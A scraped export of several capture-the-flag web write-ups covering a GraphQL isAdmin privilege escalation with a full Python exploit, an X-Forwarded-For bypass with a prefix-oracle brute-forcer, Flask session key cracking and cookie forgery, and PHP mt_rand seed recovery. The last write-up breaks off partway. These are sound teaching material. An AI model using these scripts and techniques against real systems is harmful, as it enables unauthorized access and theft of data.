\u0026#34;ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}\u0026#34;; ?\u0026gt; ","date":"2025-09-05T00:00:00Z","image":"/images/nullconberlin2025/web/slasher_home.png","permalink":"/posts/ctf/nullcon-berlin-hackim-2025-ctf/slasher/","title":"Quote-less, digit-less PHP eval sandbox escape to RCE - Nullcon Berlin 2025"},{"content":"Challenge source snakeCTF 2025 Quals - Web - Boxbin Introduction Boxbin is a Next.js + GraphQL pastebin parody. The bug is privilege escalation through user-controlled settings: isAuthorized() trusts an isAdmin flag that lives in user.settings, which users can write themselves. Set {\u0026quot;isAdmin\u0026quot;: true}, pass the check, then call the admin-only mutations to join the admin group and read the hidden posts (flag).\nContext Explanation Stack: Next.js API route (Apollo Server) + SQLite. Auth: JWT in the Authorization header resolves to context.user from the DB; passwords hashed with bcrypt. RBAC: numeric groupId (admin is ≤ 1), and several mutations/queries gate on isAuthorized(context). Flaw: isAuthorized() also returns true when JSON.parse(user.settings).isAdmin === true, and updateSettings(settings: String!) lets any user set that field. Key entry point (GraphQL handler):\n// pages/api/graphql.js export default startServerAndCreateNextHandler(server, { context: async (req) =\u0026gt; { const token = req.headers.authorization || \u0026#39;\u0026#39;; if (token) { const { userId } = jwt.verify(token, JWT_SECRET); const db = await getDb(); const user = await db.get(\u0026#39;SELECT * FROM users WHERE id = ?\u0026#39;, userId); return { user }; // \u0026lt;-- becomes context.user in resolvers } return { user: null }; }, }); Directive Chain the settings-trust bug into the admin-only mutations to become a real admin and query the hidden posts for the flag.\nSolution 1) Vulnerable authorization logic // lib/schema.js function isAuthorized(context) { if (context.user \u0026amp;\u0026amp; context.user.settings) { try { const userSettings = JSON.parse(context.user.settings); if (userSettings.isAdmin === true) return true; // \u0026lt;-- trusts user-controlled field } catch (e) {} } return (context.user \u0026amp;\u0026amp; context.user.groupId \u0026lt;= 1); // fallback: real admin groups } 2) Attacker-controlled write primitive Any logged-in user can write arbitrary JSON into their own settings:\n// Mutation: updateSettings updateSettings: async (_, { settings }, context) =\u0026gt; { if (!context.user) throw new Error(\u0026#39;You must be logged in\u0026#39;); await db.run(\u0026#39;UPDATE users SET settings = ? WHERE id = ?\u0026#39;, settings, context.user.id); return \u0026#34;Settings updated\u0026#34;; } There\u0026rsquo;s no schema or shape validation on settings, so {\u0026quot;isAdmin\u0026quot;: true} goes straight in.\n3) Privileged mutations gated by isAuthorized With isAuthorized(context) now true, the admin-only actions open up:\n// Only allowed if isAuthorized(context) === true updateUserGroup: async (_, { userId, groupId }, context) =\u0026gt; { if (!isAuthorized(context)) throw new Error(\u0026#34;Forbidden\u0026#34;); await db.run(\u0026#39;UPDATE users SET groupId = ? WHERE id = ?\u0026#39;, groupId, userId); return db.get(\u0026#39;SELECT * FROM users WHERE id = ?\u0026#39;, userId); }, hiddenPosts: async (_, __, context) =\u0026gt; { if (!isAuthorized(context)) throw new Error(\u0026#34;Forbidden\u0026#34;); return db.all(\u0026#39;SELECT * FROM posts WHERE hidden = TRUE ORDER BY id DESC\u0026#39;); } The app also has an \u0026ldquo;upgrade\u0026rdquo; path that changes groupId based on purchased upgrades:\n// adminUserUpgrade (no admin required; just logged-in) adminUserUpgrade: async (_, { upgradeId }, context) =\u0026gt; { const upgrade = await db.get(\u0026#39;SELECT * FROM upgrades WHERE id = ?\u0026#39;, upgradeId); ... await db.run(\u0026#39;UPDATE users SET groupId = ? WHERE id = ?\u0026#39;, newGroupId, context.user.id); return db.get(\u0026#39;SELECT * FROM users WHERE id = ?\u0026#39;, context.user.id); } This isn\u0026rsquo;t needed for the exploit, but the PoC runs it as a step before the final escalation.\n4) Exploitation flow (a) Sign up -\u0026gt; JWT\nmutation Signup($u:String!, $p:String!) { signup(username:$u, password:$p) } Pass the returned JWT in Authorization for everything after this.\n(b) Buy upgrade to be able to edit settings\nmutation AdminUserUpgrade { adminUserUpgrade(upgradeId: 7) { id groupId } } (c) Become \u0026ldquo;authorized\u0026rdquo; by self-tagging as admin\nmutation UpdateSettings($s:String!) { updateSettings(settings:$s) } # variables: { \u0026#34;s\u0026#34;: \u0026#34;{\\\u0026#34;isAdmin\\\u0026#34;: true}\u0026#34; } (d) Use unlocked admin mutation to set real admin group\nmutation UpdateUserGroup($id:ID!, $g:Int!) { updateUserGroup(userId:$id, groupId:$g) { id groupId } } # set g = 0 (admin) (e) Read the hidden content containing the flag\nquery Hidden { hiddenPosts { content } } Then pull snakeCTF{...} out of the returned content.\nPoC \u0026#34;\u0026#34;\u0026#34; 1) signup -\u0026gt; get JWT 2) adminUserUpgrade(upgradeId=7) 3) updateSettings(\u0026#39;{\u0026#34;isAdmin\u0026#34;: true}\u0026#39;) 4) updateUserGroup(userId=\u0026lt;me\u0026gt;, groupId=0) 5) hiddenPosts { content } -\u0026gt; extract snakeCTF{...} \u0026#34;\u0026#34;\u0026#34; import base64 import json import re import secrets import string import sys from typing import Optional, Dict, Any import requests # ---------- Config ---------- BASE_URL = \u0026#34;http://localhost:3000/\u0026#34; GQL_ENDPOINT = BASE_URL.rstrip(\u0026#34;/\u0026#34;) + \u0026#34;/api/graphql\u0026#34; USERNAME_PREFIX = \u0026#34;hitcat\u0026#34; PASSWORD = \u0026#34;Secret123!\u0026#34; UPGRADE_ID = 7 ADMIN_GROUP_ID = 0 HTTP_TIMEOUT = 20 session = requests.Session() session.headers.update({\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;}) # ---------- Helpers ---------- def b64url_decode(s: str) -\u0026gt; bytes: \u0026#34;\u0026#34;\u0026#34;Base64URL decode with automatic padding.\u0026#34;\u0026#34;\u0026#34; return base64.urlsafe_b64decode(s + \u0026#34;=\u0026#34; * (-len(s) % 4)) def jwt_get_user_id(token: str) -\u0026gt; int: \u0026#34;\u0026#34;\u0026#34;Extract userId from unsigned JWT (no secret needed).\u0026#34;\u0026#34;\u0026#34; try: _, payload_b64, _ = token.split(\u0026#34;.\u0026#34;) payload = json.loads(b64url_decode(payload_b64).decode(\u0026#34;utf-8\u0026#34;)) return int(payload[\u0026#34;userId\u0026#34;]) except Exception as exc: print(f\u0026#34;[!] Failed to decode JWT userId: {exc}\u0026#34;) sys.exit(1) def gql(query: str, variables: Optional[Dict[str, Any]] = None) -\u0026gt; Dict[str, Any]: \u0026#34;\u0026#34;\u0026#34;Send a GraphQL request and return the \u0026#39;data\u0026#39; dict or exit on error.\u0026#34;\u0026#34;\u0026#34; payload = {\u0026#34;query\u0026#34;: query, \u0026#34;variables\u0026#34;: variables or {}} resp = session.post(GQL_ENDPOINT, json=payload, timeout=HTTP_TIMEOUT) # Ensure JSON response try: data = resp.json() except Exception: print(f\u0026#34;[!] Non-JSON response ({resp.status_code}): {resp.text[:400]}\u0026#34;) sys.exit(1) # Handle GraphQL errors if \u0026#34;errors\u0026#34; in data: print(\u0026#34;[!] GraphQL errors:\u0026#34;) print(json.dumps(data[\u0026#34;errors\u0026#34;], indent=2)) sys.exit(1) return data[\u0026#34;data\u0026#34;] def rand_suffix(n: int = 5) -\u0026gt; str: \u0026#34;\u0026#34;\u0026#34;Random lowercase/digit suffix to avoid username collisions.\u0026#34;\u0026#34;\u0026#34; alphabet = string.ascii_lowercase + string.digits return \u0026#34;\u0026#34;.join(secrets.choice(alphabet) for _ in range(n)) # ---------- Main chain ---------- def main() -\u0026gt; None: # 1) SignUp -\u0026gt; JWT in data.signup username = f\u0026#34;{USERNAME_PREFIX}{rand_suffix()}\u0026#34; print(f\u0026#34;[*] Signing up as: {username}\u0026#34;) q_signup = \u0026#34;\u0026#34;\u0026#34; mutation Signup($username: String!, $password: String!) { signup(username: $username, password: $password) }\u0026#34;\u0026#34;\u0026#34; d = gql(q_signup, {\u0026#34;username\u0026#34;: username, \u0026#34;password\u0026#34;: PASSWORD}) token = d[\u0026#34;signup\u0026#34;] print(f\u0026#34;[+] JWT obtained: {token}\u0026#34;) #Update session auth header session.headers.update({\u0026#34;Authorization\u0026#34;: token}) # Decode userId from JWT user_id = jwt_get_user_id(token) print(f\u0026#34;[+] Decoded userId from JWT: {user_id}\u0026#34;) # 2) adminUserUpgrade(upgradeId: 7) print(\u0026#34;[*] Upgrading user via adminUserUpgrade…\u0026#34;) q_upgrade = \u0026#34;\u0026#34;\u0026#34; mutation AdminUserUpgrade($upgradeId: ID!) { adminUserUpgrade(upgradeId: $upgradeId) { username } }\u0026#34;\u0026#34;\u0026#34; d = gql(q_upgrade, {\u0026#34;upgradeId\u0026#34;: UPGRADE_ID}) print(f\u0026#34;[+] adminUserUpgrade OK for user: {d[\u0026#39;adminUserUpgrade\u0026#39;][\u0026#39;username\u0026#39;]}\u0026#34;) # 3) updateSettings(settings: \u0026#34;{\\\u0026#34;isAdmin\\\u0026#34;:true}\u0026#34;) – string parsed as JSON server-side print(\u0026#34;[*] Enabling admin via updateSettings…\u0026#34;) q_settings = \u0026#34;\u0026#34;\u0026#34; mutation UpdateSettings($settings: String!) { updateSettings(settings: $settings) }\u0026#34;\u0026#34;\u0026#34; settings_str = json.dumps({\u0026#34;isAdmin\u0026#34;: True}) # -\u0026gt; \u0026#39;{\u0026#34;isAdmin\u0026#34;: true}\u0026#39; d = gql(q_settings, {\u0026#34;settings\u0026#34;: settings_str}) print(f\u0026#34;[+] updateSettings returned: {d[\u0026#39;updateSettings\u0026#39;]}\u0026#34;) # 4) updateUserGroup(userId: \u0026lt;me\u0026gt;, groupId: 0) print(\u0026#34;[*] Switching current user to admin group…\u0026#34;) q_group = \u0026#34;\u0026#34;\u0026#34; mutation UpdateUserGroup($userId: ID!, $groupId: Int!) { updateUserGroup(userId: $userId, groupId: $groupId) { id groupId __typename } }\u0026#34;\u0026#34;\u0026#34; d = gql(q_group, {\u0026#34;userId\u0026#34;: str(user_id), \u0026#34;groupId\u0026#34;: ADMIN_GROUP_ID}) print(f\u0026#34;[+] updateUserGroup OK -\u0026gt; id={d[\u0026#39;updateUserGroup\u0026#39;][\u0026#39;id\u0026#39;]} groupId={d[\u0026#39;updateUserGroup\u0026#39;][\u0026#39;groupId\u0026#39;]}\u0026#34;) # 5) hiddenPosts { content } -\u0026gt; extract snakeCTF{...} print(\u0026#34;[*] Fetching hiddenPosts…\u0026#34;) q_hidden = \u0026#34;\u0026#34;\u0026#34; query HiddenPosts { hiddenPosts { content } }\u0026#34;\u0026#34;\u0026#34; d = gql(q_hidden) posts = d.get(\u0026#34;hiddenPosts\u0026#34;, []) contents = \u0026#34;\\n\u0026#34;.join(p.get(\u0026#34;content\u0026#34;, \u0026#34;\u0026#34;) for p in posts) print(f\u0026#34;[+] Retrieved {len(posts)} hidden posts\u0026#34;) # Extract the flag print(\u0026#34;[*] Extracting flag with regex…\u0026#34;) # try escaped then unescaped variants matches = re.findall(r\u0026#34;snakeCTF\\\\{[^}]+\\\\}\u0026#34;, contents) if not matches: matches = re.findall(r\u0026#34;snakeCTF\\{[^}]+\\}\u0026#34;, contents) if matches: print(f\u0026#34;[!] FLAG: {matches[0]}\u0026#34;) else: print(\u0026#34;[!] Flag not found in hiddenPosts content.\u0026#34;) print(\u0026#34;--- hiddenPosts preview (first 500 chars) ---\u0026#34;) print(contents[:500]) if __name__ == \u0026#34;__main__\u0026#34;: main() #Output [*] Signing up as: hitcatsr4ag [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwLCJpYXQiOjE3NTc1MDUyMTh9.85FN-EL3W-kXx7eMPvphbAx00EDF4zcoPJo7g2dDwlo [+] Decoded userId from JWT: 10 [*] Upgrading user via adminUserUpgrade… [+] adminUserUpgrade OK for user: hitcatsr4ag [*] Enabling admin via updateSettings… [+] updateSettings returned: Settings updated [*] Switching current user to admin group… [+] updateUserGroup OK -\u0026gt; id=10 groupId=0 [*] Fetching hiddenPosts… [+] Retrieved 7 hidden posts [*] Extracting flag with regex… [!] FLAG: snakeCTF{f4ke_fl4g_f0r_t3st1ng} ","date":"2025-08-29T00:00:00Z","image":"/images/snakectf2025/web/boxbin_home.png","permalink":"/posts/ctf/snakectf-2025/boxbin/","title":"GraphQL mass-assignment privilege escalation in Next.js - snakeCTF 2025"},{"content":"Introduction The site has a few tabs (Home, About Us, Features, Admin Panel) and ships an XML file, data.xml:\n\u0026lt;company\u0026gt; \u0026lt;department id=\u0026#34;1\u0026#34; name=\u0026#34;Confidential\u0026#34;\u0026gt; \u0026lt;employee\u0026gt; \u0026lt;name\u0026gt;Confidential\u0026lt;/name\u0026gt; \u0026lt;id\u0026gt;EMP007\u0026lt;/id\u0026gt; \u0026lt;details\u0026gt; \u0026lt;position\u0026gt;Confidential\u0026lt;/position\u0026gt; \u0026lt;selfDestructCode\u0026gt;p_ctf{fake_flag}\u0026lt;/selfDestructCode\u0026gt; \u0026lt;/details\u0026gt; \u0026lt;/employee\u0026gt; \u0026lt;/department\u0026gt; \u0026lt;/company\u0026gt; The tabs are browsable but empty of anything useful, and /admin returns 403.\nContext Explanation Not much to go on at the start beyond an admin panel that won\u0026rsquo;t let us in, so getting past it is clearly the way to the flag.\nNote: The flag is in two parts, picked up at different stages.\nDirective The challenge\u0026rsquo;s own description: \u0026ldquo;We are a software company providing intelligent solutions. We have received several awards for being the best forwarding company locally. Can you find the missing part to complete this challenge?\u0026rdquo; The \u0026ldquo;forwarding\u0026rdquo; hint is doing a lot of work.\nSolution Accessing the Admin Panel The description\u0026rsquo;s nudge toward \u0026ldquo;forwarding\u0026rdquo; points at X-Forwarded-For. Setting it to 127.0.0.1 makes the request look local and flips the 403 to a 200 (hence the name, Finding X):\ncurl https://findingx.ctf.prgy.in/admin -I HTTP/2 403 server: gunicorn date: Sun, 09 Feb 2025 15:27:00 GMT content-type: text/html; charset=utf-8 content-length: 1442 curl -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; https://findingx.ctf.prgy.in/admin -I HTTP/2 200 server: gunicorn date: Sun, 09 Feb 2025 15:27:05 GMT content-type: text/html; charset=utf-8 content-length: 4995 We\u0026rsquo;re in, but there\u0026rsquo;s no flag on the page.\nSearch Functionality The panel has an employee search. Looking up the ID from the XML just returns \u0026ldquo;Employee doesn\u0026rsquo;t exist.\u0026rdquo;\nIt calls an API at /api/search:\ncurl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;EMP007\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee doesn\u0026#39;t exist.\u0026#34;} Poking at it, searching for p gives a different answer:\ncurl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;p\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee exists.\u0026#34;} The flag prefix is p_ctf{, and this behaves like a prefix (LIKE 'p%') match, so each correct next character flips the response to \u0026ldquo;exists\u0026rdquo;. That\u0026rsquo;s a classic oracle to brute-force:\ncurl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;p_\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee exists.\u0026#34;} curl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;p_c\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee exists.\u0026#34;} curl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;p_ct\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee exists.\u0026#34;} curl -d \u0026#39;{\u0026#34;search\u0026#34;: \u0026#34;p_ctf\u0026#34;}\u0026#39; -H \u0026#39;Content-Type: application/json\u0026#39; https://findingx.ctf.prgy.in/api/search {\u0026#34;message\u0026#34;:\u0026#34;Employee exists.\u0026#34;} Retrieving the First Part of the Flag A script extends the known prefix one character at a time, trying each candidate in parallel:\nimport requests from concurrent.futures import ThreadPoolExecutor, as_completed url = \u0026#34;https://findingx.ctf.prgy.in/api/search\u0026#34; headers = { \u0026#34;Host\u0026#34;: \u0026#34;findingx.ctf.prgy.in\u0026#34;, \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34; } def send_request(search_term): data = {\u0026#34;search\u0026#34;: search_term} response = requests.post(url, headers=headers, json=data) return search_term, response.text characters = \u0026#34;abcdefghijklmnopqrstuvwxyz0123456789_-\u0026#34; def bruteforce(): current_search = \u0026#34;p_ctf{\u0026#34; while True: found = False with ThreadPoolExecutor(max_workers=10) as executor: futures = [executor.submit(send_request, current_search + char) for char in characters] for future in as_completed(futures): search_term, response = future.result() if \u0026#34;Employee exists.\u0026#34; in response: current_search = search_term found = True print(f\u0026#34;Current search term: {current_search}\u0026#34;) break if not found: break return current_search result = bruteforce() print(f\u0026#34;The complete search term is: {result}\u0026#34;) The output:\npython retreive_flag.py Current search term: p_ctf{i Current search term: p_ctf{i_ Current search term: p_ctf{i_h Current search term: p_ctf{i_h4 Current search term: p_ctf{i_h4t Current search term: p_ctf{i_h4t3 Current search term: p_ctf{i_h4t3_ Current search term: p_ctf{i_h4t3_b Current search term: p_ctf{i_h4t3_br Current search term: p_ctf{i_h4t3_br9 Current search term: p_ctf{i_h4t3_br97 Current search term: p_ctf{i_h4t3_br97f Current search term: p_ctf{i_h4t3_br97f0 Current search term: p_ctf{i_h4t3_br97f0r Current search term: p_ctf{i_h4t3_br97f0r6 Current search term: p_ctf{i_h4t3_br97f0r63 Current search term: p_ctf{i_h4t3_br97f0r63_ The complete search term is: p_ctf{i_h4t3_br97f0r63 That\u0026rsquo;s the first half. The second half needs actual admin access.\nFlag Part 1: p_ctf{i_h4t3_br97f0r63\nFlask Session The homepage hands out a session cookie:\nHTTP/2 200 OK Server: gunicorn Date: Sun, 09 Feb 2025 15:43:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1227 Vary: Cookie Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg; HttpOnly; Path=/ The admin page shows Current Access Level: Guest and a tip: 💡 Make sure you have the right permissions to access sensitive data. So we need to bump our role. It\u0026rsquo;s a Flask session; decoding it confirms the username:\nflask-unsign -c \u0026#39;eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg\u0026#39; -d {\u0026#39;username\u0026#39;: \u0026#39;guest\u0026#39;} A Flask session is only signed, not encrypted, so if the secret is weak we can forge one. Trying rockyou against it:\nflask-unsign -c \u0026#39;eyJ1c2VybmFtZSI6Imd1ZXN0In0.Z6jNHQ.TVIJaAoIZoDsDHXfQLB3GDTEKeg\u0026#39; --unsign --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval [*] Session decodes to: {\u0026#39;username\u0026#39;: \u0026#39;guest\u0026#39;} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 97024 attempts b\u0026#39;ilovecookies\u0026#39; The signing key is ilovecookies. With it we forge a session as admin:\nflask-unsign -c \u0026#39;{\u0026#34;username\u0026#34;: \u0026#34;admin\u0026#34;}\u0026#39; --sign --secret \u0026#39;ilovecookies\u0026#39; eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA Then hit /admin with that cookie and the X-Forwarded-For header from before:\ncurl -H \u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34; -H \u0026#34;Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.Z6jOVA.fDZ_2SDoOlh7csDMh_S_E88ycBA\u0026#34; https://findingx.ctf.prgy.in/admin {\u0026#34;flag_part_2\u0026#34;:\u0026#34;b4d_4nd_i_c4n_n0t_l13}\u0026#34;,\u0026#34;message\u0026#34;:\u0026#34;Welcome Admin!\u0026#34;} Now we have the complete flag: p_ctf{i_h4t3_br97f0r63_b4d_4nd_i_c4n_n0t_l13}\nTips \u0026amp; Tricks Spoof trust headers. X-Forwarded-For: 127.0.0.1 often bypasses \u0026ldquo;localhost only\u0026rdquo; checks when the app trusts the header blindly. A boolean response is an oracle. An exists/doesn\u0026rsquo;t-exist reply on a prefix match is enough to brute-force a secret character by character. Flask sessions are signed, not secret. Decode them with flask-unsign, and if the key is weak, forge your own. Try rockyou on signing keys. flask-unsign --wordlist cracks weak secrets in seconds. ","date":"2025-02-09T00:00:00Z","image":"/images/pragyan/web/finding_x_admin_403.png","permalink":"/posts/ctf/pragyan-ctf25/finding-x/","title":"X-Forwarded-For 403 bypass and Flask session forgery - Pragyan CTF 2025"},{"content":"Introduction Context Explanation Sess.io is a PRNG-reversal challenge. The page is a bare signup form (username + password), but on the backend those credentials drive a session ID generator that\u0026rsquo;s seeded from pieces of the flag. Pull the seed back out of the session ID and you pull out the flag.\nDirective Reverse the session-ID generation to recover the flag one chunk at a time, exploiting the fact that PHP\u0026rsquo;s mt_rand() is seeded with 4-byte slices of the flag.\nSolution Analyzing the Source Code The full source is available at ?source:\n\u0026lt;?php define(\u0026#34;ALPHA\u0026#34;, str_split(\u0026#34;abcdefghijklmnopqrstuvwxyz0123456789_-\u0026#34;)); ini_set(\u0026#34;error_reporting\u0026#34;, 0); if(isset($_GET[\u0026#39;source\u0026#39;])) { highlight_file(__FILE__); } include \u0026#34;flag.php\u0026#34;; // $FLAG $SEEDS = str_split($FLAG, 4); function session_id_secure($id) { global $SEEDS; mt_srand(intval(bin2hex($SEEDS[md5($id)[0] % (count($SEEDS))]),16)); $id = \u0026#34;\u0026#34;; for($i=0;$i\u0026lt;1000;$i++) { $id .= ALPHA[mt_rand(0,count(ALPHA)-1)]; } return $id; } if(isset($_POST[\u0026#39;username\u0026#39;]) \u0026amp;\u0026amp; isset($_POST[\u0026#39;password\u0026#39;])) { session_id(session_id_secure($_POST[\u0026#39;username\u0026#39;] . $_POST[\u0026#39;password\u0026#39;])); session_start(); echo \u0026#34;Thank you for signing up!\u0026#34;; }else { echo \u0026#34;Please provide the necessary data!\u0026#34;; } ?\u0026gt; Three things matter here:\n$SEEDS = str_split($FLAG, 4) cuts the flag into 4-character chunks. mt_rand is seeded from one of those chunks: the chunk index is the first hex character of md5($id) mod count($SEEDS), and the seed itself is intval(bin2hex($SEEDS[index]), 16). session_id_secure then uses that seeded PRNG to build a 1000-character ID, each character an index into ALPHA. So the plan reverses that chain:\nPick inputs that select a specific $SEEDS chunk (via the MD5 first character). Recover the PRNG seed from the generated session ID. Turn each seed back into its 4-byte flag chunk. Exploitation Step 1: Identifying MD5-Based Index Which flag chunk seeds the PRNG comes down to one line:\n$SEEDS[md5($id)[0] % (count($SEEDS))] $id is username . password, and md5($id)[0] is the first hex character of its MD5. That character (0-f) is read as a number and taken mod count($SEEDS). If the flag splits into 10 chunks, then md5($id)[0] == \u0026quot;0\u0026quot; selects $SEEDS[0], \u0026quot;1\u0026quot; selects $SEEDS[1], and so on.\nSo to dump chunk n, we need credentials whose MD5 starts with the hex digit n. MD5 is deterministic but not predictable, so it\u0026rsquo;s a short brute force: the hex characters a-f land on indices 10-15, which we don\u0026rsquo;t need, so we only care about 0-9.\nA small PHP script walks two-letter combinations until it finds one hitting each target digit 0 through 9:\n\u0026lt;?php function generateCombinations() { $results = []; $alphabet = range(\u0026#39;a\u0026#39;, \u0026#39;z\u0026#39;); // For each digit from 0 to 9 for ($targetDigit = 0; $targetDigit \u0026lt;= 9; $targetDigit++) { // For each first letter foreach ($alphabet as $first) { // For each second letter foreach ($alphabet as $second) { $combo = $first . $second; $hash = md5($combo); // If the first character of the hash matches the target digit if ($hash[0] == $targetDigit) { $results[$targetDigit] = [ \u0026#39;combo\u0026#39; =\u0026gt; $combo, \u0026#39;hash\u0026#39; =\u0026gt; $hash ]; break 2; // Move to next digit when a combination is found } } } } return $results; } $combinations = generateCombinations(); // Display results foreach ($combinations as $digit =\u0026gt; $result) { echo \u0026#34;Digit $digit : Combination \u0026#39;{$result[\u0026#39;combo\u0026#39;]}\u0026#39; -\u0026gt; Hash: {$result[\u0026#39;hash\u0026#39;]}\\n\u0026#34;; } ?\u0026gt; Output:\nDigit 0 : Combination \u0026#39;ba\u0026#39; -\u0026gt; Hash: 07159c47ee1b19ae4fb9c40d480856c4 Digit 1 : Combination \u0026#39;ab\u0026#39; -\u0026gt; Hash: 187ef4436122d1cc2f40dc2b92f0eba0 Digit 2 : Combination \u0026#39;bb\u0026#39; -\u0026gt; Hash: 21ad0bd836b90d08f4cf640b4c298e7c Digit 3 : Combination \u0026#39;ah\u0026#39; -\u0026gt; Hash: 3cf4046014cbdfaa7ea8e6904ab04608 Digit 4 : Combination \u0026#39;aa\u0026#39; -\u0026gt; Hash: 4124bc0a9335c27f086f24ba207a4912 Digit 5 : Combination \u0026#39;ad\u0026#39; -\u0026gt; Hash: 523af537946b79c4f8369ed39ba78605 Digit 6 : Combination \u0026#39;ap\u0026#39; -\u0026gt; Hash: 62c428533830d84fd8bc77bf402512fc Digit 7 : Combination \u0026#39;at\u0026#39; -\u0026gt; Hash: 7d0db380a5b95a8ba1da0bca241abda1 Digit 8 : Combination \u0026#39;au\u0026#39; -\u0026gt; Hash: 8bcc25c96aa5a71f7a76309077753e67 Digit 9 : Combination \u0026#39;al\u0026#39; -\u0026gt; Hash: 97282b278e5d51866f8e57204e4820e5 Step 2: Extracting Sessions and Reversing the Seed mt_rand() is PHP\u0026rsquo;s Mersenne Twister, and given enough consecutive outputs its seed can be recovered. php_mt_seed does exactly that. Here\u0026rsquo;s why it applies.\nWhy Use php_mt_seed? The session ID comes out of session_id_secure, which just loops over mt_rand():\nfor($i=0; $i\u0026lt;1000; $i++) { $id .= ALPHA[mt_rand(0, count(ALPHA) - 1)]; } ALPHA is [\u0026quot;a\u0026quot;, ..., \u0026quot;z\u0026quot;, \u0026quot;0\u0026quot;, ..., \u0026quot;9\u0026quot;, \u0026quot;_\u0026quot;, \u0026quot;-\u0026quot;], so count(ALPHA) - 1 = 37. Each iteration, mt_rand(0, 37) picks a character index and appends it to the ID. Since a seeded Mersenne Twister is fully deterministic, enough outputs pin down the seed, and the seed is intval(bin2hex($SEEDS[i]), 16), a 4-byte chunk of the flag. Recover the seed, recover the chunk.\nHow php_mt_seed Works php_mt_seed reverses PHP\u0026rsquo;s Mersenne Twister seed from a batch of observations. Each observation is the value an mt_rand() call produced plus the range it was drawn from. Here the values are ALPHA indices and the range is mt_rand(0, 37), so 0 to 37.\nIt needs roughly 10-15 consecutive outputs to lock onto the seed. The session ID is 1000 characters, so there\u0026rsquo;s plenty to work with.\nGenerating Sessions via the Login Form With credentials that select a given chunk, we submit them to the form. The server computes their MD5, picks the matching seed chunk, runs mt_rand(), and returns the session as a PHPSESSID cookie:\nSet-Cookie: PHPSESSID=8bwxvicb2ogv1_3akeawjgpxzh_x-1zxogrg-ze1xdorambake92o27sd9kn4fgbvlw7vm15uw_qbx5ifcr...; path=/ That PHPSESSID is the PRNG output we\u0026rsquo;re after. Submitting one login per target digit and saving each PHPSESSID gives one session ID per flag chunk:\nFlag chunk 0: 8bwxvicb2ogv1_3akeawjgpxzh_x-1zxogrg-ze1xdorambake92o27sd9kn4fgbvlw7vm15uw_qbx5ifcrz5ugk8-lgoybttwaw_m_19o2611uom602f19-sy4gk-dslc7tiiorkh1kvjo3aurufnxon8ml58ceuj4d4leyzsxpicikz5pjon5hrfhmyo5v8ud-_0r5p6tcn94lgype692h205tlfo8upoysem52onxn6gj5x81lhbsect0x0kujehsgmbqglydjws8817c7tn9in_l8si2e97qen1k7lf9aepk9qcofm5n9rmuqfswar3rh_j6k0povdq21_9_60fii3wvmebsmmka24une_6r6tlfn_ywql-meyw47b4-wnhr3g0pjlfnlj6cxdka2bzp7j-xybc8dzlwgaepsv2sdm0153eh4uaeum5f4qft91t-nr71t8ys2e2bahnm3o819g83hpwmsyevsh_8cv_ckkqulh10hxf5npmz-rtnzw3kegyu-ngatj-lkqz4xjjfch-qpj870t856-74wom5k042_1fsn34yab7labrlch0bo5eigni1az-r4v695eofu6hy6-ti77l-650m-wwptpbe3xcyggoq6128j5g7zpyzw17as4h1txpozjj5uil1l9f7kp5qzavaitcrqwnruxo36y-0o-p-1dxqixem1-vsgxvz5fi18e6yldwxioyniy42xoq1hf41_ttiy1eatedfb69ebmwk9-nponqejdxvdj4q6xzy2e57fi62wieog5d7vv3cc6btfpwjh5778a7q_uz92tzff2bc46jryvg4upb69o1dc-s1i-5to7vnw0dg7vdmfvdh-9r6y6zazsr04efigi-yt3mu5eahregt-x4k5yie5ko272pvmoqi58rwcl-yb529jbxwndr3qprby-la87byucmmprkk5dj_-bzofyua2dj25x4el4x9u-l8op-3_7a5wqi2 Flag chunk 1: 